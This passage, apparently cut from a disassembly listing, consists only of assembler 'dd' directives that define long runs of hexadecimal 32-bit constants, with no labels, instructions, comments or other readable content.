		dd 93395ED1h, 69E3CFD9h, 55BA4FABh, 557E89DDh, 0FE551A3Ah
		dd 0B9D5C18h, 2F6771E8h, 8B124E76h, 0A6F1360Ah,	22FA0820h
		dd 0C7A32397h, 0F198C989h, 0EFD0167Ah, 8A5C8C80h, 166F7F44h
		dd 0BF2C8BE8h, 7699C48Bh, 0BBE25571h, 611756C0h, 0B1358DAh
		dd 59F00B4Eh, 0B425F3C5h, 2AFB9FC4h, 2B65C2Dh, 3B471F2Fh
		dd 0F858C248h, 708521BCh, 0A61EC624h, 9FEF8017h, 0F65C2704h
		dd 0B1FAC4CCh, 48F92081h, 0C3EBEE2h, 1EA01B41h,	3C700B4Fh
		dd 13D06033h, 0A508C151h, 830AD51Ch, 67583858h,	582831C1h
		dd 0F7FA6059h, 0EFF7D1BDh, 66031008h, 0CAE1285Bh, 1F6A5FF9h
		dd 425AFC1h, 0A2BBD3D5h, 68E98213h, 0B53DF9Ah, 95520A7h
		dd 135A1C57h, 0A30B5368h, 56C91264h, 0BE4E5FE3h, 97D48785h
		dd 6497E8EBh, 0F8D1B5FEh, 943852E1h, 4108701Ch,	0EED359BAh
		dd 0B60F2A30h, 0E904BFC1h, 8CBB6B1Ch, 0C5413798h, 2262B17Eh
		dd 0B68B5F63h, 248BB410h, 47963356h, 0EBA40EE8h, 2D401382h
		dd 6DB83026h, 51020827h, 5F1AB123h, 6C7C314Fh, 0C5B80E0Bh
		dd 2078EB0Bh, 261A353Eh, 2D580715h, 49F147F5h, 9B0E707Ch
		dd 13E494E0h, 4FF82959h, 5EF3B2B7h, 958201F6h, 5445094Ch
		dd 0E568892Fh, 39933171h, 0B27F96A1h, 5B25D918h, 402DAE2Bh
		dd 0A210F97Bh, 5D0BF55Bh, 803796D5h, 2F9BAB0h, 0E965C019h
		dd 12FDBBF6h, 0B3665DC8h, 0BD1276DEh, 0C23B3AC0h, 68841B0Fh
		dd 61A24C03h, 442C326Bh, 0F78CAC08h, 40CDDB8Bh,	0EE2C8073h
		dd 0C51C9D2Eh, 0B151E604h, 2546ABC1h, 2FF3BA03h, 861983DDh
		dd 385E09ECh, 9AB8A187h, 96CC9DC8h, 7028E897h, 7B46820Eh
		dd 8A4F20F4h, 54274DF7h, 0DECBEDFEh, 0C3410E97h, 0FA59C417h
		dd 0B0577D4h, 5EC95CE9h, 5029051h, 57C1306Ah, 6C4B9968h
		dd 0CC2EDACh, 1AA2FF9Eh, 29F5FAF1h, 0CCD05DB4h,	6BAF6814h
		dd 74BBD6EAh, 1E8BE29h,	104BAD4Dh, 0DC25C83Fh, 46D35443h
		dd 6969B9B9h, 13671028h, 34B5D2Ch, 45D94B12h, 69580BE2h
		dd 0AFAC474Eh, 2488C374h, 0EE73C255h, 273F970Bh, 7062DF13h
		dd 0F1750809h, 12FBE7Ah, 0E3172E5Fh, 94C96D53h,	14377DC0h
		dd 20E7B099h, 5F090DEDh
		dd 1B5BD468h, 5960144h,	0B974BA7Ah, 0FF0BA509h,	90C817E1h
		dd 4D4C08AAh, 2E864175h, 0B55207EEh, 0A10FB4ABh, 0B3372065h
		dd 0BC37901h, 4F47DFF7h, 7441FF3Bh, 0EC24B282h,	0ED35902Ah
		dd 4A2F3E19h, 13851BAEh, 80CCE90Dh, 3248BF64h, 12194B3Dh
		dd 8FE27FC2h, 533484h, 2D38F181h, 0F807765Ch, 4A611FA8h
		dd 69C9013Dh, 2076FD27h, 0BEB92281h, 0BD64664Fh, 0E35F4A6Eh
		dd 0DD50CB39h, 15687048h, 4A3B6963h, 0BD517642h, 8A892276h
		dd 1B38DF71h, 5E95055Ch, 33F12767h, 99AC662h, 0BF09505Fh
		dd 7E27FFD6h, 136D6276h, 0B0DE8902h, 135A5683h,	0BDAF75Eh
		dd 0F50206EBh, 2D00B1BEh, 16551723h, 10F00125h,	0E90B08C3h
		dd 771AB8D8h, 54C558DCh, 0D6732782h, 0D61C4F13h, 0D84EF490h
		dd 8E5B43F0h, 0C2A4CAE9h, 7974F98Bh, 1354912Ch,	0F94688E9h
		dd 0A1512A4h, 34C899EBh, 10985341h, 8291D02h, 7EB2E922h
		dd 0B9CA8197h, 0D8773073h, 351286E2h, 0A50164D8h, 0D768E717h
		dd 3C62E43Bh, 0E1D25B9Fh, 34EB7FE9h, 0D03515Fh,	0EE295323h
		dd 857E025Dh, 4030086Fh, 738EBA7Fh, 0E05C1720h,	0C22F68CAh
		dd 4E871842h, 4043916Ah, 620DBB53h, 5E16B627h, 732D0181h
		dd 0E0767952h, 7A205E8h, 415DA88h, 0D2CDF7E9h, 476954C4h
		dd 0FE152F3Ch, 0FD668B60h, 0AF581990h, 0C2BE32D3h, 0DF228D78h
		dd 24BB0037h, 0F77AD0DEh, 0A804774Bh, 7CA3EA29h, 0AE1068h
		dd 1FB51763h, 0C9580B5Dh, 0F2901346h, 26569DEBh, 5C0C50F1h
		dd 8839A692h, 0AFCF3CF1h, 0E5FA098Eh, 7E2D3FE5h, 5F214560h
		dd 0A30B1C50h, 775F09B5h, 0E8861534h, 0BDCED420h, 86DD0C8h
		dd 3CE82F54h, 352C2800h, 5A64FC05h, 5DFEC3Ah, 0E96F1AD1h
		dd 0BD48D41Fh, 0C25D2ED7h, 0C61FD326h, 0AB054AE0h, 32A42A87h
		dd 48FD67E1h, 6DB27D80h, 5355310Bh, 33524501h, 6C642E32h
		dd 444180C7h, 5350E656h, 4E1F0D49h, 6A4C9C54h, 5001850Ah
		dd 0F295D1E9h, 9A550A75h, 9FE0615h, 5605FDE7h, 610A1DD5h
		dd 429BA23Eh, 9DAD11CBh, 3E08C121h, 84B7909Eh, 0AD489F2Ah
		dd 0A3229344h, 0E3EE7C23h, 78D6F04Ah, 0E4E45Ah,	0D1624866h
		dd 0EC795F7Fh, 0D45B20C1h, 8CC42AB7h, 3C1600A6h, 2127BC9Eh
		dd 0E0F9F81h, 0C0D3A03Eh, 0B34DFD59h, 53C60316h, 0D8D2B9EFh
		dd 22F0EEA0h, 8062F63Bh, 0C9BDA410h, 0E5CDEAh, 2A6BFA56h
		dd 0E3C263A2h, 0D3168E00h, 45BC51B2h, 0C33400D5h, 0A4094B6h
		dd 1200DA3Bh, 0ECCBBBA6h, 0B58479h, 187D36A1h, 90F6EB49h
		dd 2E143300h, 64A5B49Eh, 582D005Ch, 0D1308E8Ch,	50036F4Ch
		dd 8A77C11Dh, 0B00B9324h, 1BAE94h, 1EAF9131h, 12333B2Eh
		dd 449A0302h, 7C4BA8A5h, 0C4033D5Ch, 0BC0E3492h, 90BA0900h
		dd 91BF1032h, 0C20F3031h, 0BD2E0118h, 0C6E4701Ch, 0E0FE5480h
		dd 1CE365FAh, 4CDDC3h, 47B699A2h, 96A04ECBh, 0E1007D94h
		dd 9B1A6CBDh, 302469ABh, 0C6E6AA10h, 1300DD77h,	0B2115854h
		dd 724A2B1Dh, 0E865006Dh, 31B82087h, 4700C60Eh,	16890CF7h
		dd 862568h, 99390FA4h, 0CF6124B7h, 23B83Eh, 0C594F514h
		dd 0A0415F44h, 3889B6h,	35192849h, 7FB5A8A4h, 8001F301h
		dd 0CB302DBCh, 9201336Ch, 8EB41244h, 3A09803Ch,	3F90B210h
		dd 8FB11811h, 0AE811842h, 64F03D0Eh, 7ED44046h,	0E57A60h
		dd 0CC5D4363h, 36192280h, 4F4BC714h, 0FD140880h, 8D1D0061h
		dd 0C2A3ADFEh, 8012733Ah, 0A21997F3h, 492846h, 0EC0456Ah
		dd 0B4836C58h, 51C54100h, 0F8E109Eh, 766006Eh, 0FDDA72C3h
		dd 0D0C87D5h, 22527ED8h, 0A7C60047h, 2A20B496h,	9B00FA1Bh
		dd 5DED9251h, 4F0C0ECh,	58A3417Bh, 0FEDA934Ch, 0C2E09416h
		dd 4E1C261Dh, 0C949B800h, 74109DB4h, 3A980005h,	0A6A2351Dh
		dd 0C700221Eh, 1B3F20BFh, 123B85CDh, 0C27FCCh, 0AA9EC6Bh
		dd 0B5009328h, 0BF123815h, 0F25DBC8Dh, 5AEE0541h, 4014CE0Bh
		dd 7CC9F1B7h, 6F00EB1Ah, 380A8A40h, 602CB4D5h, 535197B2h
		dd 5B00780Eh, 0D968E877h, 2330B8h, 0BF891E04h, 0A547D635h
		dd 15787CC0h, 4293B5h, 756CAC0Ah, 3150FA4Eh, 1C63920Fh
		dd 7910201Eh, 90B714h, 9EA13A6Fh, 6ADE717Ah, 1DBADB39h
		dd 49C0C411h, 0E1FEDFFFh, 1B3200ACh, 9AFB0475h,	0A800A638h
		dd 5E707899h, 0EE7FC9h,	7EF359ECh, 79EDB564h, 3DE8D06h
		dd 26E205A3h, 80282CBAh, 0B69C3A14h, 8A122822h,	5C1217A8h
		dd 96503827h, 726CE875h, 76DC004Eh, 6BDD7258h, 0D44C654Bh
		dd 12913F5Ch, 2842C31Fh, 9029158Ch, 0B0507293h,	8203007Fh
		dd 0C1C5183Ah, 0F000B520h, 0A5C41B0Eh, 63EF94h,	391E41E6h
		dd 0DFF5B317h, 8AFB8D04h, 1F82B410h, 0DDBE81D9h, 1082B688h
		dd 1704D56Fh, 0EDAC1940h, 9200B5B6h, 7BBADDC2h,	9FFB1A6Ah
		dd 0C8832C45h, 74C95A7Eh, 75D7F46Ch, 0A1C8E400h, 0FE97C6E5h
		dd 3FD3A0C4h, 71ED1420h, 3A28F8BEh, 0C01C71BCh,	2CBDE2B2h
		dd 2700D484h, 401DA706h, 0BB88CDh, 0BCE1107Bh, 0B4FD5CADh
		dd 775Ch, 5D1B41BAh, 90509BE6h,	83CB0048h, 1D948DB2h, 6E3F577Ch
		dd 5C9BC87h, 478A83Ah, 0FBE39144h, 1F48EF0h, 0AD27CCEh
		dd 0C8E5C250h, 0B5483793h, 0ECE6707Eh, 3B0F7260h, 907DFF14h
		dd 9CDC00ECh, 0F6DDF3FDh, 34028CD5h, 1914477h, 17614060h
		dd 49C51438h, 12098EA2h, 0E780E9F3h, 168F92F8h,	273B56EAh
		dd 0A8B00ABh, 71FE4EDFh, 0E1A4482Ch, 11A82500h,	82C33584h
		dd 3F0DA00Fh, 0B298E02Eh, 362A3h, 22647DB9h, 3E0A9D85h
		dd 0E6EE2F03h, 0E7F4D6F9h, 0CC7B5F63h, 12A315C0h, 0EA2B1D3Ah
		dd 0C08E9FE2h, 438736A2h, 0F005EF6h, 62419DD0h,	580A2A9Eh
		dd 9818598Bh, 8607133Eh, 5856E728h, 0DF166161h,	37600151h
		dd 0EB400082h, 0EC8D0C5Dh, 915CD8E4h, 0AF87007Eh, 0E3829848h
		dd 58DCF4C4h, 550050C7h, 0F6EDA6Dh, 37488AB0h, 1ED660D9h
		dd 0BFC1D2Ch, 0B434AEDFh, 0D0FD5D07h, 0A1ABFE50h, 4E9CAC16h
		dd 0FAB15801h, 0DAF3DFh, 5C7ADC6Ah, 0BE4763Bh, 20D2664Ch
		dd 4969E7F2h, 20DA6E67h, 18A5C6C2h, 262CEAC8h, 0DA28801h
		dd 24B59B3Bh, 0FCC1CA20h, 51F3246Fh, 65BC00B0h,	0C8BEA3F9h
		dd 99CCEB09h, 6E04203Dh, 0F0138CFDh, 4CEF0CAh, 71D96B4Fh
		dd 0E3888067h, 78B088F4h, 0C842B30Eh, 910AE0E1h, 603EAF0Ch
		dd 68AD11E4h, 8EA00360h, 14C3E235h, 9A3FF6Eh, 1A296C21h
		dd 153D3A80h, 280086C2h, 0CA9BAD02h, 14A58Dh, 0B9EB038h
		dd 41202A7Eh, 7BC60C16h, 60076901h, 91506265h, 7E76FFBh
		dd 0FD51E1C7h, 626987DDh, 1960DFC1h, 310380A2h,	9F908323h
		dd 5575D86Eh, 6DE50173h, 70D86B4Dh, 6FDDC852h, 5D824F07h
		dd 919AAE28h, 40227704h, 0FB41D8h, 539DFC4Dh, 0CD9CB001h
		dd 0AF4CC602h, 80B763B6h, 21F24A9Eh, 5CBE0B14h,	0E2D0C489h
		dd 15BDAD48h, 1FB11670h, 40AC1E4Fh, 0A0088D8Bh,	0DF6DC08Ah
		dd 6651008Eh, 4B4986C3h, 45008F4Dh, 3996F0F9h, 98F111C4h
		dd 54A0333h, 78E71831h,	0A38609C5h, 4311A500h, 0B900DF79h
		dd 0DDA9C0D9h, 0B288DCFEh, 58AE81C5h, 0EA28C8F6h, 0C54800ABh
		dd 0B277B65Fh, 0AF01144Dh, 0FD1C2D1Dh, 5C718AD9h, 25588400h
		dd 64210910h, 77800968h, 5C601E3Bh, 0F881042Ch,	1170C107h
		dd 0E06F5321h, 3BF968D8h, 0C300A6BBh, 50F7DF92h, 35585862h
		dd 2B210ADEh, 459FF38Bh, 0CBC57D80h, 5A488524h,	0E77A0076h
		dd 0F5DBFB5Bh
		dd 0C9E9651Eh, 0D581551Dh, 0CEEC64F3h, 0F75DC8h, 224BE4D7h
		dd 0BFE1C193h, 4CFE7154h, 2EDEFC39h, 0F601D969h, 542AA4D9h
		dd 9EF3EC40h, 6B8C4h, 2E6FFE4Ch, 374F9AA6h, 8A00D591h
		dd 8FCC1436h, 2E52245Eh, 647F1F78h, 2ABC00A1h, 0ECF41524h
		dd 0F355EA02h, 6B5AEDD3h, 0EF62C84Ah, 2EB570BBh, 1912D480h
		dd 0D050D30Dh, 0E0E57654h, 0F8E46E4Ch, 4E745201h, 4D7353FDh
		dd 472000C3h, 1E3683E8h, 4A059AC0h, 3388AA08h, 0FC9FFF98h
		dd 53D1304Dh, 0DB879AD2h, 7C806FB9h, 9D822165h,	73D2168Dh
		dd 16DB0BFCh, 6D881403h, 50B5D01Fh, 4DFD4F40h, 58745683h
		dd 271C7E1h, 1C516E14h,	0D6415ACCh, 94DD881h, 0C998BC05h
		dd 91801F11h, 17CBAE5h,	7778872h, 0C447955Fh, 450D6220h
		dd 3C8DBE10h, 3C02047h,	1C85D7B2h, 54E1C5h, 0A0B1D031h
		dd 0B500082Ah, 0C0113797h, 195BD8Ch, 4E0653CAh,	208EDBFFh
		dd 2F0B6141h, 208DAB9Ah, 86CA19F0h, 0C91C0B3Eh,	0C9002483h
		dd 665DA036h, 6D6B7505h, 16C0FA4Bh, 2E272BFh, 0AC1DAB53h
		dd 254163F6h, 0EF4A20ECh, 8B077600h, 540A87E5h,	6B8A1A31h
		dd 1E64CA39h, 8018C73Fh, 9F2EE455h, 3B3416B5h, 7E00AEA4h
		dd 0F3426876h, 0EE01D061h, 8A5EEF59h, 76817308h, 0D3B8491Ch
		dd 3486ED44h, 0FC3E5050h, 1304836Dh, 0C8C2A2D9h, 260CBBh
		dd 2234BC96h, 3B1DBD8Fh, 82DCAA00h, 0C5FD8AD1h,	2D95020Bh
		dd 0C2425E45h, 40C0CCC2h, 0E80779DBh, 0F6674877h, 521453B0h
		dd 98200065h, 9425DD6Eh, 380F1AB8h, 25F8E1A5h, 3801908h
		dd 2C9391A0h, 99754Eh, 0B5A3B13h, 0BD04EAC4h, 1201D022h
		dd 87FE0D82h, 0E0209EC3h, 8AC0ADh, 5E695805h, 0BF5A7DA6h
		dd 7213820Eh, 0B60D2054h, 0ED46623h, 0CBAAEB7Ah, 26B71B83h
		dd 97F61788h, 921A385Ch, 0A04C9F0Bh, 0CC689A1Ah, 0E15103EBh
		dd 0CBE86CF9h, 0E8BA40D1h, 84040945h, 0DF7254E5h, 4770D8C0h
		dd 1B5A00F9h, 0C7EB97DBh, 0F4DD979h, 0FCC324D2h, 0E1006D92h
		dd 1AC91335h, 289A76EBh, 7F75CD2h, 5BF144EEh, 802A257Ch
		dd 0E90ECD31h, 9F1A7418h, 4CA2E30Ch, 6A006195h,	4294F548h
		dd 0DC003D0Ch, 19AAACBDh, 0C322637h, 5FBB2A0Dh,	223C2837h
		dd 0E44C8Dh, 6E540378h,	25E071DBh, 0CA8017A1h, 0B795280Ah
		dd 5EABA62Ch, 7B0702B8h, 0A471BDE1h, 35E1DC74h,	0F5E04C30h
		dd 262DFD7h, 4F7033h, 20307FC3h, 0AF9B2D11h, 22844A99h
		dd 0B2FE4F68h, 77532F98h, 2C742EBCh, 98C59795h,	0DB682C14h
		dd 2C300971h, 8FE4345Bh, 89DA270Ch, 4E7194DDh, 68D18C54h
		dd 20AABA4Bh, 8428F6Dh,	2FFB22D3h, 32BD4B68h, 0DF20E981h
		dd 4A7FECFDh, 977B3Bh, 0B89874E1h, 3A15A1C5h, 62C80306h
		dd 6700193Fh, 0AAAE4A2Ch, 223DF575h, 5AA28058h,	9847663Ah
		dd 1B0B007Ah, 0D918B8B5h, 443C7E73h, 3709803Fh,	208CEB7Dh
		dd 0ED5700C7h, 71C4EA65h, 0A2061526h, 11E83EFAh, 0CBEC38ADh
		dd 7DF52700h, 25FBEA75h, 71A5F900h, 0C5078B78h,	5E0300B7h
		dd 8137C080h, 5D62E4C6h, 0FF68FC3Ah, 13E992A3h,	0ECC45107h
		dd 5D80B0F3h, 0D2587h, 0EFACF9DAh, 414662B2h, 5A3AA900h
		dd 0FFCABF0Fh, 0C1811C36h, 70F0846Ch, 37F8EF5Fh, 0A5881400h
		dd 0D0B9662Ah, 0EF007F7Ah, 40F1E712h, 0B506840Fh, 0B46F1810h
		dd 2409D930h, 7E00827h,	2ACD801Bh, 60CBA057h, 509D79Bh
		dd 0F8FC068Fh, 0C8F4F5CDh, 0A4FE5873h, 0D2B70F05h, 59F2AF61h
		dd 1885327Ah, 94C0660Dh, 2460E913h, 0A035113h, 0ECB3006Fh
		dd 1D293DF0h, 9E3ED0FCh, 0A630E185h, 1C2BE9C4h,	8183809Eh
		dd 7AA451E5h, 8FBAF00h,	0EB26878h, 322C0FF5h, 0EF80C725h
		dd 383F7622h, 37B0D0F1h, 1B0420F9h, 32089D63h, 70ACC08Fh
		dd 0B1761955h, 0D09C213Ah, 686015ADh, 9A63B211h, 2DB7283Bh
		dd 72770C1Ch, 0A511491Bh, 411860E2h, 0D1816FAAh, 0E78185Ch
		dd 6AE7117Bh, 0EC34671Ch, 896ECA0h, 2F506B72h, 814C494Ch
		dd 0B3E71379h, 5020A533h, 226FE9B5h, 0BF014815h, 45570CAAh
		dd 36FCB72Bh, 7CFD1B49h, 42D7E0C8h, 8480687Ah, 0B7F32A86h
		dd 10790630h, 0CFFCF72h, 0AE012516h, 0BE1C3C38h, 0E2812F66h
		dd 327A3503h, 67146088h, 0BBFD1E3Fh, 102DBC0Ch,	0C1D76050h
		dd 0DB8BA17Fh, 9793A300h, 8E8988CCh, 9B783BD5h,	0A59A0778h
		dd 5E6F678Ah, 7B97CA81h, 0A284E073h, 0A00ED6ECh, 80D09D77h
		dd 91CF6832h, 0B6900395h, 0BE258681h, 0D071D0BFh, 9300978Fh
		dd 8A8891DAh, 149B9FD9h, 382CD594h, 0E39EABA1h,	18948ECFh
		dd 8C7B0A8h, 9586C899h,	0AA7100B0h, 9D7BDB8Eh, 9E0AB725h
		dd 8DB088A1h, 9BD97500h, 78BC7495h, 0DF6A3B80h,	0B56EA685h
		dd 8168032Ch, 86C3BB7Ah, 0DC8A39F6h, 0E18043Eh,	0F01031FEh
		dd 0C9D215B1h, 30AC87Ch, 1CF847D1h, 0B01BAB9h, 0CF753842h
		dd 31C252Dh, 191ED1FCh,	0E80A808Fh, 681208C5h, 0ECB23800h
		dd 0A3AD661h, 0DA317C6Dh, 0C266032Ch, 0AE464277h, 88D1770Ch
		dd 56FFC60Ch, 0AEF50D30h, 9059CCECh, 0F487C1A0h, 82414CB1h
		dd 0A0688D24h, 0ADE40B3h, 0F4299C19h, 8F828578h, 8B58086Bh
		dd 3B73E477h, 0F91D9EF2h, 0A8B00E4Eh, 520B9A24h, 42C6D38h
		dd 0CC9072B3h, 619FC9F2h, 0E8B52845h, 0D035CDB3h, 0CA3E9EAh
		dd 37EB34E8h, 0B709E492h, 808792CFh, 7D2AA8B8h,	282874BBh
		dd 9A0CEFB0h, 0BD3D4450h, 4CD4C213h, 0EFEAB000h, 0E86AAE86h
		dd 0CE250B5h, 0B63B1367h, 0B0144530h, 0AF580B04h, 2FF03F82h
		dd 0C311649Dh, 0A8D2A13h, 0A08C07F0h, 41CE42BCh, 9A10D2B8h
		dd 1890B226h, 19D8FD24h, 4CF33696h, 0E0A17CF8h,	0FE5464D1h
		dd 9047D020h, 8CC14548h, 0C14F7140h, 7D4A29EFh,	463E918Ch
		dd 0E893A0E4h, 0B7B526C7h, 0C8984C7Ch, 2190DD84h, 6833940Ch
		dd 0BA3111ACh, 30297313h, 0B79A88BFh, 84AC62E0h, 0C4249E64h
		dd 40942698h, 0E049AC2Ah, 3B57E912h, 28380C32h,	0A3D45180h
		dd 0F90A0C99h, 8D058C63h, 48A85F5h, 4CB96BA1h, 0E0D67588h
		dd 21F47810h, 1D240EB2h, 6A4062D1h, 0E9604B84h,	28234852h
		dd 80857322h, 30990F1Ah, 0A15E340Ch, 7F21C88Ch,	0B4F80C23h
		dd 1DA84A85h, 3191A18Ch, 0CD8D8042h, 0F20C1899h, 56AC985Dh
		dd 8FF6A89Ch, 0BE0DF351h, 0F2A0C9B1h, 72241634h, 761114ECh
		dd 0D2B22E08h, 1B4374ACh, 50615772h, 6544CC8h, 0B63C2730h
		dd 0EC535134h, 89816FA8h, 0F9B49115h, 3057D84Dh, 555836C9h
		dd 2C264CB7h, 7C8D3FA8h, 0F8FC5E46h, 3E48AA18h,	994B910h
		dd 0DA4BA039h, 34307803h, 576744E4h, 1322DC14h,	30B22D3Bh
		dd 8D841836h, 6360F24Ch, 2CFB70B5h, 0A09C48E4h,	18DA459Ch
		dd 3711673Ch, 51E4E626h, 9BC73CE8h, 79BDF43Ch, 3C73D854h
		dd 0EC6D8106h, 3DF8101Eh, 8E4B5200h, 85889581h,	713C6E7Dh
		dd 5AC31F32h, 83B07807h, 2CAB85DFh, 79801407h, 0E1776FC2h
		dd 8BE4EC24h, 0AD0E09E8h, 44B8C076h, 0B49835DCh, 8058E822h
		dd 4BA75C6h, 76DDF2B7h,	0AF70B430h, 0C2807AEAh,	66D540E4h
		dd 7D488EE0h, 51B31178h, 7C7E9905h, 0D3203C85h,	0F20FD246h
		dd 26104BE1h, 7640101Ah, 82873Ah, 3603C9A2h, 601F5F95h
		dd 1CF7220Fh, 0B7C5A0E8h, 0C07BA2EFh, 0B827B0D0h, 0EC12EBFCh
		dd 5800440Dh, 3EA6986Fh, 49817AB1h, 63015C6Ch, 0CDE1C09Bh
		dd 7675DCB7h, 0F0B15290h, 70F2F601h, 0C1D32956h, 91B82A1Ah
		dd 0FA6D160Eh, 8C86B960h
		dd 5004ABAEh, 8565B036h, 14C7A887h, 52498Ch, 0BB872A7Fh
		dd 0B3308B79h, 4E086966h, 77740021h, 0CDC69A2Ah, 5C023E90h
		dd 0E909A9B1h, 9F2C405Fh, 0D8358136h, 828243E4h, 0AF5FDFD8h
		dd 7E011194h, 80261222h, 0A03329h, 0D4DC30BFh, 14E93B52h
		dd 0B42649A2h, 5414310h, 0FD667F8Bh, 47235C2Eh,	0E367E04h
		dd 0D404C8h, 4398183Eh,	7ECD587h, 8B8C2E00h, 0E482FBF2h
		dd 710A0326h, 5630F07Ch, 289E24F1h, 608587Ch, 5419EC4Eh
		dd 0A9940110h, 41FE2944h, 1D0C62B2h, 7F22B876h,	358B00B3h
		dd 0B5956213h, 974892CFh, 6A8F0500h, 8C20BD3Bh,	0D8F9F4B0h
		dd 85962869h, 195F6788h, 1078B2EFh, 6900D30Eh, 724A3C5h
		dd 0D579BDh, 5E584985h,	7B50C71Bh, 2FD15F14h, 0AEF9C0BCh
		dd 6A6A4D9h, 0BEEF35ADh, 7F00509Bh, 0DF9464CFh,	35417E16h
		dd 0F616AB3h, 0E840FA38h, 0C95D5660h, 34A1E600h, 0C2C02726h
		dd 8CD7484Ah, 1BADCD0Fh, 417D821Dh, 20836BAEh, 0F0B0B3EBh
		dd 0EC905648h, 0F7C4ED14h, 39007AE4h, 65725492h, 49EEB176h
		dd 0DA096827h, 20005D80h, 85A9DEBFh, 73C17009h,	1B04072Fh
		dd 9BD14Ch, 0C6DC6CA7h,	810C5B29h, 828E2805h, 6088E834h
		dd 7584017Ch, 7F633BB9h, 0F00444BFh, 0E91AF06Ch, 8058489Bh
		dd 83C9902Ch, 9A10C740h, 852BD738h, 0A2C4A40Eh,	0CF9E4300h
		dd 0A65C887Ch, 0C550069Bh, 407D6606h, 804CBA49h, 0BB882A80h
		dd 750B8781h, 28F48478h, 9DA73C87h, 0C2C19052h,	2480BA4h
		dd 930D87D8h, 0F589B0A8h, 98F02482h, 4CE812F8h,	0AC2183FCh
		dd 0C8F58101h, 0FCE6EA84h, 4847B4C4h, 0BD050457h, 321CE2h
		dd 0E617CFACh, 1448DA03h, 0ADA380C0h, 70711DB8h, 0B4F905F6h
		dd 0B414C729h, 0A700A014h, 0AA354C5h, 2988769h,	939AA1E0h
		dd 9440E883h, 4D24B33Ah, 203A647Fh, 0DBE2024Fh,	0DD1904B2h
		dd 94904C50h, 67B434FDh, 20B4C48h, 497EB5C0h, 33FB636Bh
		dd 6D214308h, 77AF5E00h, 0FFF23C01h, 33491Ah, 1D503100h
		dd 63DCCD43h, 0BCA1C00h, 0A2CEC27Bh, 0B9466015h, 8BA45B12h
		dd 33E39700h, 21DA7D06h, 0C7F4007Ah, 0D22E74C5h, 75EC8670h
		dd 793A5034h, 88DC0FEh,	42007EC1h, 20644148h, 0E5C58B15h
		dd 27050D4h, 0CFB63824h, 0A4407A52h, 0E9149A85h, 1DE0552Fh
		dd 0D340A692h, 0B5A0BB46h, 95E230C7h, 6CC88628h, 0A9AA4117h
		dd 0B9F28043h, 38A6F7h,	0F838DF8Ah, 7CB74D3Bh, 0F1C01A7Ah
		dd 0AF36A0CFh, 5A210009h, 46ECDE4h, 0CE041527h,	0C67E01B7h
		dd 1C026C95h, 206DB441h, 37CFE970h, 960B6C92h, 86B6DFC8h
		dd 930AD35h, 0A07ECB76h, 0B005F800h, 354C975Eh,	1A810C3Ch
		dd 3D458128h, 0AE96EFC4h, 0A6240BD3h, 21422826h, 0EFBC6A00h
		dd 86C22238h, 0C8D06E3h, 905E0FE7h, 5700DCA6h, 0DD9D7419h
		dd 41C033h, 0B392F71Eh,	9CEB820Ch, 80252800h, 949329C2h
		dd 0CAA50345h, 69B0416Eh, 3F1D112h, 198B5000h, 93E4C1B2h
		dd 0BAC2782Ch, 0F4C32604h, 0EC8529C9h, 30B7BC49h, 112A7DE4h
		dd 8869BB85h, 75728049h, 0AC53382Ah, 0B38CE000h, 5A54FE6h
		dd 0B6C7015Fh, 15FCB014h, 902867h, 23F17593h, 0A58B41BCh
		dd 80D1CE5Ch, 0E6FE735Eh, 0DB7800E7h, 9871FDC4h, 3C3762B0h
		dd 33906CF1h, 905CD0C2h, 3BA713F8h, 62F0D6B7h, 1400A02h
		dd 58D515C0h, 0FDBD28C8h, 38884DD4h, 83F58A80h,	448CA0F0h
		dd 8207AD81h, 0A8CA95F5h, 131A5A0h, 823C9142h, 541FC1F2h
		dd 5A0E7D02h, 910F3DDCh, 1CEE5707h, 3F740001h, 2A12A66Bh
		dd 3C088AADh, 0EFC6C083h, 0E346AE91h, 6C003C22h, 0D62AEFBEh
		dd 4AE40D25h, 758030DAh, 5528FC30h, 145FC049h, 6FD9DC40h
		dd 2CE7ECDDh, 214B81Dh,	633C60B0h, 848018C2h, 0BD929834h
		dd 97C21D3Fh, 0B4277D8Ch, 75837EF1h, 0F2410630h, 0BD840BC1h
		dd 0C8E85025h, 3703462Dh, 4DC7A38Eh, 4F3918F0h,	0B799213Dh
		dd 0FE48F500h, 0EE5F5A0Ch, 17A63C66h, 8EFF2D00h, 34E48A86h
		dd 3D906C17h, 5008B065h, 2A84C0BEh, 0A146BB8Ch,	791C4622h
		dd 92C12A7Ch, 3DD9F44Eh, 0B83B8440h, 3432802Bh,	684BEF4Eh
		dd 7CD0E68Dh, 0B803075Fh, 4008E5BDh, 758C6E43h,	0F0E11498h
		dd 80F51563h, 5FE12869h, 4CECA14Bh, 4C00C573h, 2BB19B4h
		dd 0BE051637h, 32BC21Eh, 4223F03Ah, 266DF900h, 4EA640Dh
		dd 8DA2405Ch, 0D4FCE450h, 691D2713h, 7DB21404h,	213E5046h
		dd 4FE03Bh, 35143BFDh, 1611CA71h, 9D050Fh, 0BF60540Eh
		dd 0A1649AC2h, 48C0C7F8h, 505C1F03h, 0C337FF3Bh, 33E4C818h
		dd 0E2BBF109h, 15C50A0h, 1FBE1066h, 282EEDF3h, 62E70BECh
		dd 0BA0C2091h, 0BAF6BF55h, 0F27E04E8h, 0F1467BE9h, 84582D90h
		dd 50B72EA7h, 58C38020h, 3D2941E5h, 5DA0AA81h, 16206090h
		dd 0F83134CEh, 2094A7B2h, 20E45349h, 60CBB784h,	4010AA5Bh
		dd 0EC15F24Eh, 7FC82E1Ah, 0A334F104h, 93809CEAh, 59B1F276h
		dd 90033073h, 3B8624B0h, 0F8ADD01Ch, 344EC052h,	0B70571F3h
		dd 28F62EFh, 42A08D88h,	4037D8A4h, 0C8D80486h, 9A5E00ACh
		dd 8055B50Ah, 9403E6CDh, 986366A1h, 8B43B8E4h, 7E0418AEh
		dd 1123713Ch, 626F5039h, 2037A688h, 8C927B1Bh, 4F855B08h
		dd 79FA8336h, 4C98EA1Ch, 0D779798h, 1980A096h, 0DFB7BC20h
		dd 40155AC2h, 23E4E680h, 622631C0h, 0C504F1D5h,	0FCC08E0Bh
		dd 1B52C4h, 11ADBD4Ch, 5ED81AA7h, 3AF08400h, 0AE2DE441h
		dd 53240020h, 44E77BAh,	94A43F2Ah, 0D019B1FBh, 1D1250CAh
		dd 341898D2h, 0B5B945ECh, 815A31E7h, 248E0E3Eh,	0F00EEC78h
		dd 0E00FA52Fh, 1461D2Eh, 4E3D386Dh, 0A4BABE04h,	7B4AC38h
